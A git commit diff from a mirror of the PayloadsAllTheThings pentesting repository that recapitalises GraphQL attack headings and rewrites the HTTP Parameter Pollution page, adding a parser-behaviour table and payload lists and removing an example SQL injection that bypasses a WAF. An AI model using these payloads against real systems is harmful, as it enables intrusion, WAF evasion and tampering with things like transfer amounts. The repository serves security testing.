mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 10:26:09 +00:00
GraphQL + HPP
This commit is contained in:
parent
e6466b4cf9
commit
801aecb2ba
@ -7,23 +7,23 @@
|
|||||||
|
|
||||||
- [Tools](#tools)
|
- [Tools](#tools)
|
||||||
- [Enumeration](#enumeration)
|
- [Enumeration](#enumeration)
|
||||||
- [Common GraphQL endpoints](#common-graphql-endpoints)
|
- [Common GraphQL Endpoints](#common-graphql-endpoints)
|
||||||
- [Identify an injection point](#identify-an-injection-point)
|
- [Identify An Injection Point](#identify-an-injection-point)
|
||||||
- [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)
|
- [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)
|
||||||
- [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions)
|
- [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions)
|
||||||
- [Enumerate the types' definition](#enumerate-the-types-definition)
|
- [Enumerate Types Definition](#enumerate-types-definition)
|
||||||
- [List path to reach a type](#list-path-to-reach-a-type)
|
- [List Path To Reach A Type](#list-path-to-reach-a-type)
|
||||||
- [Methodology](#methodology)
|
- [Methodology](#methodology)
|
||||||
- [Extract data](#extract-data)
|
- [Extract Data](#extract-data)
|
||||||
- [Extract data using edges/nodes](#extract-data-using-edgesnodes)
|
- [Extract Data Using Edges/Nodes](#extract-data-using-edgesnodes)
|
||||||
- [Extract data using projections](#extract-data-using-projections)
|
- [Extract Data Using Projections](#extract-data-using-projections)
|
||||||
- [Use mutations](#use-mutations)
|
- [Mutations](#mutations)
|
||||||
- [GraphQL Batching Attacks](#graphql-batching-attacks)
|
- [GraphQL Batching Attacks](#graphql-batching-attacks)
|
||||||
- [JSON list based batching](#json-list-based-batching)
|
- [JSON List Based Batching](#json-list-based-batching)
|
||||||
- [Query name based batching](#query-name-based-batching)
|
- [Query Name Based Batching](#query-name-based-batching)
|
||||||
- [Injections](#injections)
|
- [Injections](#injections)
|
||||||
- [NOSQL injection](#nosql-injection)
|
- [NOSQL Injection](#nosql-injection)
|
||||||
- [SQL injection](#sql-injection)
|
- [SQL Injection](#sql-injection)
|
||||||
- [Labs](#labs)
|
- [Labs](#labs)
|
||||||
- [References](#references)
|
- [References](#references)
|
||||||
|
|
||||||
@ -46,9 +46,9 @@
|
|||||||
|
|
||||||
## Enumeration
|
## Enumeration
|
||||||
|
|
||||||
### Common GraphQL endpoints
|
### Common GraphQL Endpoints
|
||||||
|
|
||||||
Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint.
|
Most of the time GraphQL is located at the `/graphql` or `/graphiql` endpoint.
|
||||||
A more complete list is available at [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
|
A more complete list is available at [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
@ -63,7 +63,7 @@ A more complete list is available at [danielmiessler/SecLists/graphql.txt](https
|
|||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### Identify an injection point
|
### Identify An Injection Point
|
||||||
|
|
||||||
```js
|
```js
|
||||||
example.com/graphql?query={__schema{types{name}}}
|
example.com/graphql?query={__schema{types{name}}}
|
||||||
@ -211,7 +211,7 @@ You can also try to bruteforce known keywords, field and type names using wordli
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
### Enumerate the types' definition
|
### Enumerate Types Definition
|
||||||
|
|
||||||
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
|
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
|
||||||
|
|
||||||
@ -220,7 +220,7 @@ Enumerate the definition of interesting types using the following GraphQL query,
|
|||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### List path to reach a type
|
### List Path To Reach A Type
|
||||||
|
|
||||||
```php
|
```php
|
||||||
$ git clone https://gitlab.com/dee-see/graphql-path-enum
|
$ git clone https://gitlab.com/dee-see/graphql-path-enum
|
||||||
@ -246,7 +246,7 @@ Found 27 ways to reach the "Skill" node from the "Query" node:
|
|||||||
|
|
||||||
## Methodology
|
## Methodology
|
||||||
|
|
||||||
### Extract data
|
### Extract Data
|
||||||
|
|
||||||
```js
|
```js
|
||||||
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
||||||
@ -256,7 +256,7 @@ example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
### Extract data using edges/nodes
|
### Extract Data Using Edges/Nodes
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
@ -272,7 +272,7 @@ example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Extract data using projections
|
### Extract Data Using Projections
|
||||||
|
|
||||||
:warning: Don’t forget to escape the " inside the **options**.
|
:warning: Don’t forget to escape the " inside the **options**.
|
||||||
|
|
||||||
@ -281,7 +281,7 @@ example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
|||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### Use mutations
|
### Mutations
|
||||||
|
|
||||||
Mutations work like function, you can use them to interact with the GraphQL.
|
Mutations work like function, you can use them to interact with the GraphQL.
|
||||||
|
|
||||||
@ -299,7 +299,7 @@ Common scenario:
|
|||||||
* 2FA bypassing
|
* 2FA bypassing
|
||||||
|
|
||||||
|
|
||||||
#### JSON list based batching
|
#### JSON List Based Batching
|
||||||
|
|
||||||
> Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.
|
> Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.
|
||||||
|
|
||||||
@ -323,7 +323,7 @@ Query batching works by defining an array of operations in the request body. Eac
|
|||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
#### Query name based batching
|
#### Query Name Based Batching
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
@ -348,7 +348,7 @@ mutation {
|
|||||||
> SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.
|
> SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.
|
||||||
|
|
||||||
|
|
||||||
### NOSQL injection
|
### NOSQL Injection
|
||||||
|
|
||||||
Use `$regex`, `$ne` from []() inside a `search` parameter.
|
Use `$regex`, `$ne` from []() inside a `search` parameter.
|
||||||
|
|
||||||
@ -364,7 +364,7 @@ Use `$regex`, `$ne` from []() inside a `search` parameter.
|
|||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### SQL injection
|
### SQL Injection
|
||||||
|
|
||||||
Send a single quote `'` inside a graphql parameter to trigger the SQL injection
|
Send a single quote `'` inside a graphql parameter to trigger the SQL injection
|
||||||
|
|
||||||
|
@ -5,52 +5,95 @@
|
|||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Tools](#tools)
|
* [Tools](#tools)
|
||||||
* [How to test](#how-to-test)
|
* [Methodology](#methodology)
|
||||||
* [Table of reference](#table-of-reference)
|
* [Parameter Pollution Table](#parameter-pollution-table)
|
||||||
|
* [Parameter Pollution Payloads](#parameter-pollution-payloads)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
No tools needed. Maybe Burp or OWASP ZAP.
|
* **Burp Suite**: Manually modify requests to test duplicate parameters.
|
||||||
|
* **OWASP ZAP**: Intercept and manipulate HTTP parameters.
|
||||||
|
|
||||||
## How to test
|
|
||||||
|
|
||||||
HPP allows an attacker to bypass pattern based/black list proxies or Web Application Firewall detection mechanisms. This can be done with or without the knowledge of the web technology behind the proxy, and can be achieved through simple trial and error.
|
## Methodology
|
||||||
|
|
||||||
```
|
HTTP Parameter Pollution (HPP) is a web security vulnerability where an attacker injects multiple instances of the same HTTP parameter into a request. The server's behavior when processing duplicate parameters can vary, potentially leading to unexpected or exploitable behavior.
|
||||||
Example scenario.
|
|
||||||
WAF - Reads first param
|
|
||||||
Origin Service - Reads second param. In this scenario, developer trusted WAF and did not implement sanity checks.
|
|
||||||
|
|
||||||
Attacker -- http://example.com?search=Beth&search=' OR 1=1;## --> WAF (reads first 'search' param, looks innocent. passes on) --> Origin Service (reads second 'search' param, injection happens if no checks are done here.)
|
HPP can target two levels:
|
||||||
|
|
||||||
|
* Client-Side HPP: Exploits JavaScript code running on the client (browser).
|
||||||
|
* Server-Side HPP: Exploits how the server processes multiple parameters with the same name.
|
||||||
|
|
||||||
|
|
||||||
|
**Examples**:
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
/app?debug=false&debug=true
|
||||||
|
/transfer?amount=1&amount=5000
|
||||||
```
|
```
|
||||||
|
|
||||||
### Table of reference
|
|
||||||
|
### Parameter Pollution Table
|
||||||
|
|
||||||
When ?par1=a&par1=b
|
When ?par1=a&par1=b
|
||||||
|
|
||||||
| Technology | Parsing Result | outcome (par1=) |
|
| Technology | Parsing Result | outcome (par1=) |
|
||||||
| ------------------ |--------------- |:-------------:|
|
| ----------------------------------------------- | ------------------------ | --------------- |
|
||||||
| ASP.NET/IIS | All occurrences | a,b |
|
| ASP.NET/IIS | All occurrences | a,b |
|
||||||
| ASP/IIS | All occurrences | a,b |
|
| ASP/IIS | All occurrences | a,b |
|
||||||
| PHP/Apache |Last occurrence |b |
|
|
||||||
| PHP/Zues |Last occurrence |b |
|
|
||||||
| JSP,Servlet/Tomcat |First occurrence |a |
|
|
||||||
| Perl CGI/Apache |First occurrence |a |
|
|
||||||
| Python Flask |First occurrence |a |
|
|
||||||
| Python Django |Last occurrence |b |
|
|
||||||
| Nodejs |All occurrences |a,b |
|
|
||||||
| Golang net/http - `r.URL.Query().Get("param")` | First occurrence | a |
|
| Golang net/http - `r.URL.Query().Get("param")` | First occurrence | a |
|
||||||
| Golang net/http - `r.URL.Query()["param"]` | All occurrences in array | ['a','b'] |
|
| Golang net/http - `r.URL.Query()["param"]` | All occurrences in array | ['a','b'] |
|
||||||
| IBM Lotus Domino |First occurrence |a |
|
|
||||||
| IBM HTTP Server | First occurrence | a |
|
| IBM HTTP Server | First occurrence | a |
|
||||||
| Perl CGI/Apache |First occurrence |a |
|
| IBM Lotus Domino | First occurrence | a |
|
||||||
|
| JSP,Servlet/Tomcat | First occurrence | a |
|
||||||
| mod_wsgi (Python)/Apache | First occurrence | a |
|
| mod_wsgi (Python)/Apache | First occurrence | a |
|
||||||
|
| Nodejs | All occurrences | a,b |
|
||||||
|
| Perl CGI/Apache | First occurrence | a |
|
||||||
|
| Perl CGI/Apache | First occurrence | a |
|
||||||
|
| PHP/Apache | Last occurrence | b |
|
||||||
|
| PHP/Zues | Last occurrence | b |
|
||||||
|
| Python Django | Last occurrence | b |
|
||||||
|
| Python Flask | First occurrence | a |
|
||||||
| Python/Zope | All occurrences in array | ['a','b'] |
|
| Python/Zope | All occurrences in array | ['a','b'] |
|
||||||
| Ruby on Rails | Last occurrence | b |
|
| Ruby on Rails | Last occurrence | b |
|
||||||
|
|
||||||
|
|
||||||
|
### Parameter Pollution Payloads
|
||||||
|
|
||||||
|
* Duplicate Parameters:
|
||||||
|
```ps1
|
||||||
|
param=value1¶m=value2
|
||||||
|
```
|
||||||
|
|
||||||
|
* Array Injection:
|
||||||
|
```ps1
|
||||||
|
param[]=value1
|
||||||
|
param[]=value1¶m[]=value2
|
||||||
|
param[]=value1¶m=value2
|
||||||
|
param=value1¶m[]=value2
|
||||||
|
```
|
||||||
|
|
||||||
|
* Encoded Injection:
|
||||||
|
```ps1
|
||||||
|
param=value1%26other=value2
|
||||||
|
```
|
||||||
|
|
||||||
|
* Nested Injection:
|
||||||
|
```ps1
|
||||||
|
param[key1]=value1¶m[key2]=value2
|
||||||
|
```
|
||||||
|
|
||||||
|
* JSON Injection:
|
||||||
|
```ps1
|
||||||
|
{
|
||||||
|
"test": "user",
|
||||||
|
"test": "admin"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [How to Detect HTTP Parameter Pollution Attacks - Acunetix - January 9, 2024](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
|
- [How to Detect HTTP Parameter Pollution Attacks - Acunetix - January 9, 2024](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
|
||||||
|
@ -20,9 +20,18 @@
|
|||||||
|
|
||||||
Example of headless browsers commands:
|
Example of headless browsers commands:
|
||||||
|
|
||||||
|
* Google Chrome
|
||||||
```ps1
|
```ps1
|
||||||
google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
|
google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
|
||||||
|
```
|
||||||
|
|
||||||
|
* Mozilla Firefox
|
||||||
|
```ps1
|
||||||
firefox --screenshot https://www.google.com
|
firefox --screenshot https://www.google.com
|
||||||
|
```
|
||||||
|
|
||||||
|
* Microsoft Edge
|
||||||
|
```ps1
|
||||||
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
|
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user